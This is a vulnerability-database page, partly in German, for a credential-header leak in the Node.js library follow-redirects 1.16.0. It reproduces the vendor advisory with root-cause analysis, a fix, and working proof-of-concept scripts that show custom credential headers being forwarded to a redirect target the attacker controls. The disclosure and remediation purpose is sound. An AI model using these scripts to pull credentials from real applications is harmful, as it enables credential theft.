CVE-2026-111755

highPriorität · verfolgen · 0EPSS 0.005 · 41. PerzentilUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.47% (41st) EPSS
CVSS 8.2 · high
Is it mine?
1 products
Prüfe deine Angriffsfläche
Who says so?
1 sources
osv

EPSS · bewertet 2026-10-27

follow-redirects is a Node.js HTTP and HTTPS client wrapper that automatically follows redirects. From 1.16.0 until 1.16.1, escapeRegex leaves valid header-name metacharacters unescaped in sensitiveHeaders. When an application declares a sensitive header whose name contains ^ or | and follows a cross-origin or HTTPS-to-HTTP redirect, unescaped regular-expression metacharacters prevent the generated filter from matching the declared header name, and the credential header is forwarded to an attacker-controlled redirect target. This issue is fixed in version 1.16.1.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.2
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 4.6–8.2

v4.08.2highCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.04.6mediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (1)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-8r9p-f939-6h3cfollow-redirects sensitiveHeaders regex escaping can expose credential headers2026-10-20ghsa · osvUS

    ### Summary follow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect. ### Details The filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`: ```js this._headerFilter = new RegExp("^(?:" + sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") + ")$", "i"); ``` `escapeRegex` at `index.js:703-705`: ```js function escapeRegex(regex) { return regex.replace(/[\]\\/()*+?.$]/g, "\\$&"); // escapes ] \ / ( ) * + ? . $ -- NOT ^ | [ { } } ``` The character class escapes `]`, `\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node's `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well. For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way: - A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test("X-Api^Key")` returns `false`, and the header is not stripped. - A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead. The generated filter source, reproduced from the exact library logic, is: ``` ^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$ ``` Direct matching results against this filter: `X-Api^Key` -> false, `X-Token|Secret` -> false, `X-Control-Key` (normal name) -> true, and the split-off `X-Token` -> true and `Secret` -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true. Secondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation. Suggested remediation: two changes close both facets. 1. Escape the complete set of regular-expression metacharacters: ```js function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } ``` This was verified to restore correct matching for all affected names while preserving the built-in matches. 2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect. Additionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI. References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/pull/284 - https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9 ### PoC Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that `require("./index.js")` resolves to the library under test. Facet 1, metacharacter header names, `leak.js`: ```js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:45902/" }); // cross-origin (different port) res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); // attacker-controlled target }); redirector.listen(45901, "127.0.0.1", function () { collector.listen(45902, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 45901, path: "/", headers: { "X-Api^Key": "SECRET-LEAKED-1", // declared sensitive, name contains ^ "X-Token|Secret": "SECRET-LEAKED-2", // declared sensitive, name contains | "X-Control-Key": "SHOULD-BE-STRIPPED", // declared sensitive, normal name (control) "Authorization": "Bearer BUILTIN-CTL" // built-in list (control) }, sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("X-Api^Key :", h["x-api^key"] || "(stripped)"); console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)"); console.log("X-Control-Key :", h["x-control-key"] || "(stripped - OK)"); console.log("Authorization :", h["authorization"] || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); ``` Observed output (1.16.0): ``` X-Api^Key : SECRET-LEAKED-1 <- credential LEAKED to redirect target X-Token|Secret : SECRET-LEAKED-2 <- credential LEAKED to redirect target X-Control-Key : (stripped - OK) <- control: option works for normal names Authorization : (stripped - OK) <- control: built-in list works ``` The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter. Root-cause and fix verification (pure regex logic, no network): ```js var builtin = ["Authorization", "Proxy-Authorization", "Cookie"]; function escCurrent(s) { return s.replace(/[\]\\/()*+?.$]/g, "\\$&"); } // library's escaper function escFixed(s) { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } // canonical escaper function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); } var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]; var cur = build(escCurrent, declared), fix = build(escFixed, declared); ["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n))); // both false ["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed ", n, fix.test(n))); // both true ["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n))); // both true (wrong) ``` Observed: current filter returns false for both metacharacter names and true for the unrelated `X-Token` and `Secret`; the fixed filter returns true for all declared names and still true for the built-ins. Reachability of the vectors: ``` node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});' ``` Observed: `X-A^B` and `X-A|B` ACCEPTED; `X-A[B`, `X-A{B`, `X-A}B` REJECTED with `ERR_INVALID_HTTP_TOKEN`. Facet 2, entry declared inside `beforeRedirect`, `leak2.js`: ```js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); redirector.listen(46201, "127.0.0.1", function () { collector.listen(46202, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 46201, path: "/", headers: { "X-Late": "LATE-DECLARED-VALUE" }, beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); } }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)"); redirector.close(); collector.close(); }); }).end(); }); }); ``` Observed output (1.16.0): `X-Late forwarded to redirect target: LATE-DECLARED-VALUE` (the late-declared name is not stripped). ### Impact This is an information-disclosure vulnerability: silent failure of the `sensitiveHeaders` cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the `sensitiveHeaders` option to protect a custom credential-bearing header whose name contains `^` or `|`, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the `sensitiveHeaders` option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.

06

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-10-19geändert 2026-10-19
08

Referenzen (3) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan